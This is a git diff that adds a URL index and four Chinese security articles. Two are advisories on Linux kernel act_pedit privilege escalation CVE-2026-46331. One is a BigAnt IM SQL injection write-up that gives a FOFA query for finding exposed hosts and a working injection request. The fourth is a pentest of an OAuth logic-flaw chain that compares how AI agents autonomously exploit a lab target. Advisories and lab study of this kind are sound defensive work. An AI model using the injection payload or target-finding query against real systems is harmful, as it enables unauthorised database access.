diff --git a/data.json b/data.json
index 937857c9..93018eeb 100644
--- a/data.json
+++ b/data.json
@@ -21262,5 +21262,11 @@
"https://mp.weixin.qq.com/s/wgnYYjGmHUnkJcV7IEafvA": "NVIDIA NeMo曝安全漏洞,系统面临命令注入攻击风险",
"https://mp.weixin.qq.com/s/Y7x2um1kBIPiLAPD75Y_Cw": "攻击者正利用FortiSandbox三大漏洞发起攻击,未认证即可获取root权限",
"https://mp.weixin.qq.com/s/gLNs9uh7SR1DR70_qEsc4A": "安全审计 Agent 不能只要“报漏洞”,而要证明漏洞",
- "https://mp.weixin.qq.com/s/lfF4dYWFoKIjl9ayOWBxVA": "一键即破防:M365 Copilot \"SearchLeak\" 漏洞链全解析(CVE-2026-42824)"
+ "https://mp.weixin.qq.com/s/lfF4dYWFoKIjl9ayOWBxVA": "一键即破防:M365 Copilot \"SearchLeak\" 漏洞链全解析(CVE-2026-42824)",
+ "https://mp.weixin.qq.com/s/PSwbuuwm-Z1HJ3DTVoqLPA": "我用AI挖了隐藏N年的组合拳漏洞",
+ "https://mp.weixin.qq.com/s/olHCQtG-TdKbjESZyf9rOA": "我用AI挖了隐藏N年的组合拳漏洞",
+ "https://mp.weixin.qq.com/s/RUMEdzHbmk5uAOIkBqQ0LQ": "【漏洞通告】Linux Kernel net_sched act_pedit本地提权漏洞(CVE-2026-46331)",
+ "https://mp.weixin.qq.com/s/r_n49od3-Ts09Fcn0m6Geg": "大蚂蚁 (BigAnt) 即时通讯系统 admin∕secret∕edit SQL注入漏洞",
+ "https://mp.weixin.qq.com/s/sOwonojWvAkFVxdpa9UZsA": "【已复现】Linux Kernel net∕sched act_pedit 本地权限提升漏洞(CVE-2026-46331)安全风险通告",
+ "https://mp.weixin.qq.com/s/JYUMtjUJlhjnOHhjA0URAQ": "我用AI挖了隐藏N年的组合拳漏洞"
}
\ No newline at end of file
diff --git a/doc/2026-06/【已复现】Linux Kernel net∕sched act_pedit 本地权限提升漏洞(CVE-2026-46331)安全风险通告.md b/doc/2026-06/【已复现】Linux Kernel net∕sched act_pedit 本地权限提升漏洞(CVE-2026-46331)安全风险通告.md
new file mode 100644
index 00000000..94660fc6
--- /dev/null
+++ b/doc/2026-06/【已复现】Linux Kernel net∕sched act_pedit 本地权限提升漏洞(CVE-2026-46331)安全风险通告.md
@@ -0,0 +1,157 @@
+# 【已复现】Linux Kernel net/sched act_pedit 本地权限提升漏洞(CVE-2026-46331)安全风险通告
+ 奇安信 CERT 2026-06-17 13:20
+
+●
+点击↑蓝字关注我们,获取更多安全风险通告
+
+
+
漏洞概述 |
漏洞名称 | Linux Kernel net/sched act_pedit 本地权限提升漏洞 |
漏洞编号 | QVD-2026-34209,CVE-2026-46331 |
公开时间 | 2026-06-16 | 影响量级 | 百万级 |
奇安信评级 | 高危 | CVSS 3.1分数 | 7.1 |
威胁类型 | 权限提升 | 利用可能性 | 高 |
POC状态 | 已公开 | 在野利用状态 | 未发现 |
EXP状态 | 已公开 | 技术细节状态 | 已公开 |
危害描述:攻击者可利用该漏洞,在普通用户上下文中实现本地权限提升至 root,从而实现完全控制服务器。 |
+
+
+**0****1**
+
+**漏洞详情**
+
+**>**
+**>**
+**>**
+**>**
+
+**影响组件**
+
+Linux 内核是一款开源的类 Unix 操作系统内核,由 Linus Torvalds 于 1991 年首次发布,现已成为全球使用最广泛的操作系统内核之一。它支持多种硬件架构,提供进程管理、内存管理、文件系统、网络协议栈及设备驱动等核心功能,被广泛应用于服务器、桌面系统、移动设备(Android)、嵌入式系统及云计算基础设施中。Linux 内核的网络子系统(net/sched)提供了强大的流量控制(Traffic Control)框架,允许管理员通过 tc 工具对网络数据包进行分类、整形、修改和调度,其中 act_pedit(Packet Editor)动作用于在数据包传输过程中修改数据包内容。
+
+**>**
+**>**
+**>**
+**>**
+
+**漏洞描述**
+
+近日,奇安信CERT监测到官方修复
+Linux Kernel net/sched act_pedit 本地权限提升漏洞(CVE-2026-46331),该漏洞源于 tcf_pedit_act() 函数在处理数据包编辑操作时,函数仅在循环外基于 tcfp_off_max_hint 一次性计算 skb 写时复制 COW 范围,该提示值未考虑运行时类型密钥追加的报文头部偏移,导致部分待写入内存区域未执行 COW 拷贝。攻击者可通过非特权用户命名空间配合 CAP_NET_ADMIN 权限,构造恶意 tc 流量规则,触发未 COW 的共享只读页缓存写入篡改;无需内核竞态条件,可稳定篡改 setuid-root 二进制文件的页缓存,不会持久写入磁盘,仅内存层面生效。成功利用后本地普通用户可直接获取系统 root 最高权限,从而实现完全控制服务器。
+目前该漏洞PoC和技术细节已公开。
+鉴于该漏洞影响范围较大,建议客户尽快做好自查及防护。
+**>**
+**>**
+**>**
+**>**
+
+**利用条件**
+
+本地存在可登录普通非特权用户账号。
+
+
+**02**
+
+**影响范围**
+
+**>**
+**>**
+**>**
+**>**
+
+**影响版本**
+
+v5.18 <= Linux Kernel < v7.1-rc7
+目前已知受影响发行版本:
+
+RHEL 10.0(内核 6.12.0-228.el10)
+
+Debian 13 trixie(内核 6.12.90+deb13.1)
+
+Ubuntu 24.04.4(内核 6.17.0-22)
+
+
+**03**
+
+**复现情况**
+
+目前,奇安信威胁情报中心AI Agent已成功复现
+Linux Kernel net/sched act_pedit 本地权限提升漏洞(CVE-2026-46331)
+,截图如下:
+
+
+
+
+
+
+**04**
+
+**处置建议**
+
+**>**
+**>**
+**>**
+**>**
+
+**安全更新**
+
+目前官方已有可更新版本,建议尽快将 Linux 内核升级至以下版本:
+Linux Kernel >= v7.1-rc7
+
+或升级至包含修复补丁
+899ee91156e57784090c5565e4f31bd7dbffbc5a 的内核版本,该补丁将 skb_ensure_writable() 移至 per-key 循环内部,确保在实际写入偏移已知时执行 COW 操作,并添加了偏移算术溢出检查;对于负偏移(如 ingress 时的 Ethernet 头部编辑),使用 skb_cow() 对 headroom 进行 COW 处理。
+
+补丁下载地址:
+
+https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=899ee91156e57784090c5565e4f31bd7dbffbc5a
+
+各发行版专项更新如下:
+
+RHEL 10:升级内核至 6.12.0-228.el10 后续安全更新版本;
+
+Debian 13:升级 6.12.90+deb13.1 以上修复内核;
+
+Ubuntu 24.04:升级 6.17.0-22 后续安全内核,同时 AppArmor 加固限制非特权 userns。
+
+
+
+**05**
+
+**参考资料**
+
+[1]https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=899ee91156e57784090c5565e4f31bd7dbffbc5a
+
+[2]https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=d504a978572202ef43ac5ecfec2030adda64b13e
+
+
+
+**06**
+
+**时间线**
+
+2026年06月17日,奇安信 CERT发布安全风险通告。
+
+
+
+**07**
+
+**漏洞情报服务**
+
+「
+奇安信漏洞情报平台
+」
+重磅上线,诚邀您来体验:
+
+
+
+
+
+
+
+
+
+**奇安信 CERT**
+
+**致力于**
+第一时间为企业级用户提供**权威**
+漏洞情报和**有效**
+解决方案。
+
+
+
+点击↓**阅读原文**
+,到**ALPHA威胁分析平台**
+订阅更多漏洞信息。
+
diff --git a/doc/2026-06/【漏洞通告】Linux Kernel net_sched act_pedit本地提权漏洞(CVE-2026-46331).md b/doc/2026-06/【漏洞通告】Linux Kernel net_sched act_pedit本地提权漏洞(CVE-2026-46331).md
new file mode 100644
index 00000000..0ddc991e
--- /dev/null
+++ b/doc/2026-06/【漏洞通告】Linux Kernel net_sched act_pedit本地提权漏洞(CVE-2026-46331).md
@@ -0,0 +1,65 @@
+# 【漏洞通告】Linux Kernel net_sched act_pedit本地提权漏洞(CVE-2026-46331)
+ 启明星辰安全简讯 2026-06-17 15:03
+
+### 一、漏洞概述
+漏洞名称 | Linux Kernel net_sched act_pedit本地提权漏洞 |
CVE ID | CVE-2026-46331 |
漏洞类型 | 本地权限提升 | 发现时间 | 2026-6-17 |
漏洞评分 | 7.1 | 漏洞等级 | 高危 |
攻击向量 | 本地 | 所需权限 | 低 |
利用难度 | 低 | 用户交互 | 不需要 |
PoC/EXP | 已公开 | 在野利用 | 已发现 |
+Linux Kernel是Linux操作系统的核心组件,负责进程调度、内存管理、网络协议栈及设备驱动等基础功能。其中net/sched子系统提供流量控制和数据包编辑能力,支持QoS、Traffic Control规则及网络策略管理,广泛应用于服务器、云平台、容器环境及网络设备。
+
+2026年6月17日,启明星辰安全应急响应中心(VSRC)监测到Linux Kernel net_sched act_pedit本地提权漏洞。该漏洞位于net/sched/act_pedit.c文件,由于tcf_pedit_act()在执行Copy-On-Write处理时未考虑typed key运行时偏移,导致部分写入区域未完成COW复制,从而产生页缓存污染问题。攻击者可利用用户命名空间及CAP_NET_ADMIN权限构造恶意流量控制规则,对原本只读文件对应的页缓存内容进行修改,进一步覆盖SUID程序代码并执行任意指令,最终获得root权限。
+### 二、影响范围
+
+5.18 <= Linux Kernel < 7.1-rc7
+
+已验证存在漏洞的环境包括:
+
+RHEL 10.0(6.12.0-228.el10)
+
+Debian 13(6.12.90+deb13.1)
+
+Ubuntu 24.04.4(6.17.0-22)
+
+Ubuntu 26.04(7.0.0-14-generic)环境中未成功利用
+### 三、安全措施
+
+3.1 升级版本
+
+Linux Kernel官方已发布修复补丁,核心修复提交为:
+
+899ee91156e57784090c5565e4f31bd7dbffbc5a
+
+此外,官方同步发布了补充修复提交:
+
+d504a978572202ef43ac5ecfec2030adda64b13e
+
+下载链接:
+
+https://github.com/torvalds/linux/commit/899ee91156e57784090c5565e4f31bd7dbffbc5a/
+
+https://github.com/torvalds/linux/commit/d504a978572202ef43ac5ecfec2030adda64b13e
+
+3.2 临时措施
+
+暂无。
+
+3.3 通用建议
+
+定期更新系统补丁,减少系统漏洞,提升服务器的安全性。
+
+加强系统和网络的访问控制,修改防火墙策略,关闭非必要的应用端口或服务,减少将危险服务(如SSH、RDP等)暴露到公网,减少攻击面。
+
+使用企业级安全产品,提升企业的网络安全性能。
+
+加强系统用户和权限管理,启用多因素认证机制和最小权限原则,用户和软件权限应保持在最低限度。
+
+启用强密码策略并设置为定期修改。
+
+3.4 参考链接
+
+https://nvd.nist.gov/vuln/detail/CVE-2026-46331/
+
+https://github.com/torvalds/linux/commit/899ee91156e57784090c5565e4f31bd7dbffbc5a
+
+https://github.com/torvalds/linux/commit/d504a978572202ef43ac5ecfec2030adda64b13e
+
+https://github.com/sgkdev/packet_edit_meme
+
diff --git a/doc/2026-06/大蚂蚁 (BigAnt) 即时通讯系统 admin∕secret∕edit SQL注入漏洞.md b/doc/2026-06/大蚂蚁 (BigAnt) 即时通讯系统 admin∕secret∕edit SQL注入漏洞.md
new file mode 100644
index 00000000..680ee8ea
--- /dev/null
+++ b/doc/2026-06/大蚂蚁 (BigAnt) 即时通讯系统 admin∕secret∕edit SQL注入漏洞.md
@@ -0,0 +1,31 @@
+# 大蚂蚁 (BigAnt) 即时通讯系统 admin/secret/edit SQL注入漏洞
+ 0day收割机 2026-06-17 12:33
+
+# 漏洞简介
+
+大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 \Admin\Controller\SecretController::edit 接口存在SQL注入漏洞,攻击者可通过在 updateLoginName 功能的相关参数中插入恶意构造的 SQL 查询语句,实现对后端数据库的非法操作,可能导致敏感信息泄露、数据篡改、绕过身份验证,甚至在特定配置下实现任意命令执行或获取系统控制权限。
+# 影响版本
+
+BigAnt 5.5.x 及以上版本用户
+
+
+
+经过测试,最新版本 6.0.1.20250407.1 也受影响
+# fofa语法
+> (body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"
+
+# 漏洞复现
+```
+GET /admin/secret/edit?app_id=pc_client&sec_level={{url(1' AND EXTRACTVALUE(1, CONCAT(0x7e, user(), 0x7e)) and '1'='1)}} HTTP/1.1
+Host:
+Cookie: userId=admin;saasId=bigant
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
+```
+
+
+
+因为系统配置原因,不存在antdbms.hs_secret
+表,但是漏洞是真实存在的。
+
+仅供安全研究和学习使用。若因传播、利用本文档信息而产生任何直接或间接的后果或损害,均由使用者自行承担,文章作者不为此承担任何责任。
+
diff --git a/doc/2026-06/我用AI挖了隐藏N年的组合拳漏洞.md b/doc/2026-06/我用AI挖了隐藏N年的组合拳漏洞.md
new file mode 100644
index 00000000..18c23ced
--- /dev/null
+++ b/doc/2026-06/我用AI挖了隐藏N年的组合拳漏洞.md
@@ -0,0 +1,289 @@
+# 我用AI挖了隐藏N年的组合拳漏洞
+ Z2O安全攻防 2026-06-17 13:26
+
+## 前言
+
+这个漏洞是在护网中发现的,感觉很有学习价值,于是复盘了一下,花费一天时间,根据漏洞细节,在本地一比一复刻漏洞环境,以供学习。
+
+这篇内容较多,先放目录,细细品味
+
+
+
+启动靶场
+
+
+
+## 一、初步测试
+
+弱口令登录尝试
+
+首先访问目标系统登录页面,尝试使用常见弱口令登录。
+
+
+
+
+
+
+验证码功能测试
+
+随后测试验证码登录功能,观察相关数据包。
+
+
+## 二、信息收集与配置泄露
+
+发现 OAuth 2.0 参数
+
+在登录请求数据包中,注意到存在 grant_type 参数,结合系统注释信息,判断目标使用了 OAuth 2.0 认证框架。
+
+
+
+搜索客户端凭证
+
+OAuth 2.0 的客户端凭证模式需要 client_id 和 client_secret。
+
+ 首先在前端源代码中直接搜索,未发现相关凭证。
+
+
+
+随后使用浏览器开发者工具的“搜索”功能检索所有加载的 JS 文件,仍然未找到。
+
+
+
+最终遍历全部 JavaScript 文件,发现 api.js 中包含了大量接口定义。
+
+在该文件所在目录的索引文件中,找到了一段被注释掉的 JavaScript 代码。
+
+
+
+访问该被注释的 JS 文件后,成功获取到 OAuth 2.0 的配置信息(包括 client_id 和 client_secret)
+
+
+## 三、凭证有效性验证
+
+参考 loginController.js 中的请求参数,构造如下请求(使用已泄露的客户端凭证):
+
+
+
+client_credentials是 OAuth 2.0 框架下一种授权模式(Grant Type)的参数,称为客户端凭证模式。它的核心用途是为服务器与服务器之间的通信(即“机器对机器”,M2M)提供一个安全、无需用户参与的身份认证解决方案。
+
+这一步是为了验证泄露的 oauth 信息是否有效。
+
+
+
+此时可以获取到token,访问接口,请求头加入token
+
+
+
+显示失败,没有权限。
+
+如果不用这种模式,直接用password,则会返回失败
+
+
+
+因为password模式需要用户的参数,我们没有系统内的用户,所以这种模式就不能使用。
+
+于是返回重新查看api.js 接口,我们发现是有一个注册接口,那么我们可能通过注册一个用户,然后给他授权password模式,就可以获取有权限的token了。21 行注册接口
+
+
+## 四、注册用户并尝试提权
+
+靶场环境我做了参数提示,实际环境没有具体的提示,但在登录抓包能看到username和password参数了
+
+
+
+
+
+
+
+直接注册是普通账号,可以看到右边 roleType=GUEST
+
+使用oauth password模式对注册的账号授权权限
+
+
+
+然后访问用户个人接口,id用注册成功返回的id,可以查看到信息, token用上面返回的
+
+
+
+此时去访问所有用户的接口
+
+
+
+显示权限低。说明注册的用户也分普通权限和管理员权限,此时回到前端js页面,寻找如何注册管理员用户
+## 五、寻找管理员角色注册方法
+
+代码在main.js里,划分了不同权限对应的id
+
+
+
+
+
+所有注册的时候需要传入ownerId
+
+此时重新注册管理员账号
+
+
+
+然后再重新赋予oauth权限
+
+
+
+访问刚才403的接口
+
+
+
+
+## 六、漏洞总结
+
+漏洞点:
+
+前端 JS 文件中残留了被注释的 OAuth 客户端凭证(client_id 和 client_secret),可被直接获取。
+
+注册接口允许通过指定 ownerId 参数创建高权限(管理员)账号。
+
+系统依赖前端参数控制权限,后端未做严格校验。
+
+利用路径:
+
+泄露凭证 → 注册普通账号 → 获取低权限 Token → 发现权限不足 → 分析前端找到管理员 ownerId → 注册管理员账号 → 获取高权限 Token → 访问所有受限接口。
+
+
+## 七、AI 自动化渗透效果对比
+
+近来AI发展迅猛,各种Skill和平台层出不穷。我周末体验了一些,总体感觉确实比较费token,但各有各的优势。还是那句话,AI肯定会越来越好,但我希望它始终是辅助我们工作的工具,帮我们拓展思路和新的攻击面,而不是在未来取代我们。
+
+
+
+有点感性了,兄弟们,废话不多说,我也来搭建一下,针对上面这个漏洞,看看AI是如何攻击的。
+
+
+
+采用三种方式,看看哪一种可以做到全流程覆盖
+### 方案1:只使用ai agent 自主渗透
+
+
+
+这里我使用
+glm 5.1 模型
+
+对这个靶场进行渗透测试,然后出具渗透报告 http://192.168.3.5:8090/ 不需要端口扫描,直接进行 web 测试
+
+
+
+截图只包括关键部分,
+
+
+
+
+
+
+
+
+
+
+
+
+
+这里开始就陷入了死循环了,一直在找提升权限的接口或方法。
+
+最终没找到,结束了这次渗透
+
+目前的流程是
+
+查看前端内容,读取js中的接口,发现隐藏接口,找到了oauth的配置,然后无法利用,又去看接口,发现了注册接口,注册了用户添加了oauth配置,可以返回有效token然后获取系统接口数据,发现大部分没权限
+
+
+
+给了四次提示,最后直接告诉他对应的参数,才完整复现。
+
+
+
+
+### 方案2:Glm 5.1 + chrome-devtools-mcp 渗透
+###
+
+
+
+首先需要安装node,然后安装chrome-devtools-mcp
+
+npm install chrome-devtools-mcp
+
+然后点击右上角的mcp按钮,配置这几行代码就可以了,再开启允许按钮就可以了
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+同样提示四次,才完整复现
+
+
+### 方案2.1:DeepSeek v4 pro + chrome-devtools-mcp 渗透
+###
+
+突发奇想,最近 DeepSeek v4 pro 模型挺厉害的,于是我充了 10 块钱测试一下,看看它的效果如何,结果大跌眼镜!!!
+
+
+
+Claude code + DeepSeek v4 pro + chrome_mcp
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+### 方案3:ai agent + skill 渗透
+###
+
+Skill 如下
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+最终漏洞
+
+
+
+
+### 总结
+AI 自动化渗透 | 漏洞细节 | 效果 |
方案 1:AI自主渗透 | 70% | 中等偏上 |
方案 2: Glm 5.1 + chrome_mcp | 70% | 中等偏上 |
方案 2.1:DeepSeek +chrom_mcp | 80% | 屌爆了 |
方案 3: AI + skill | 10% | 拉完了 |
+
+
+我靠,我是真没想到,GLM 5.1 写的靶场,被 DeepSeek v4 pro 发现了 bug,并利用 bug 完美提权。Glm 自己竟然没发现后端代码有问题。DeepSeek v4 果然名不虚传。 修改 bug 后再次测试,就不行了,也是给了四次提示才能成功。
+
+本次实验得到的结果:
+
+ai 在多层逻辑漏洞还是存在不足。
+
+国外模型暂未测试。
+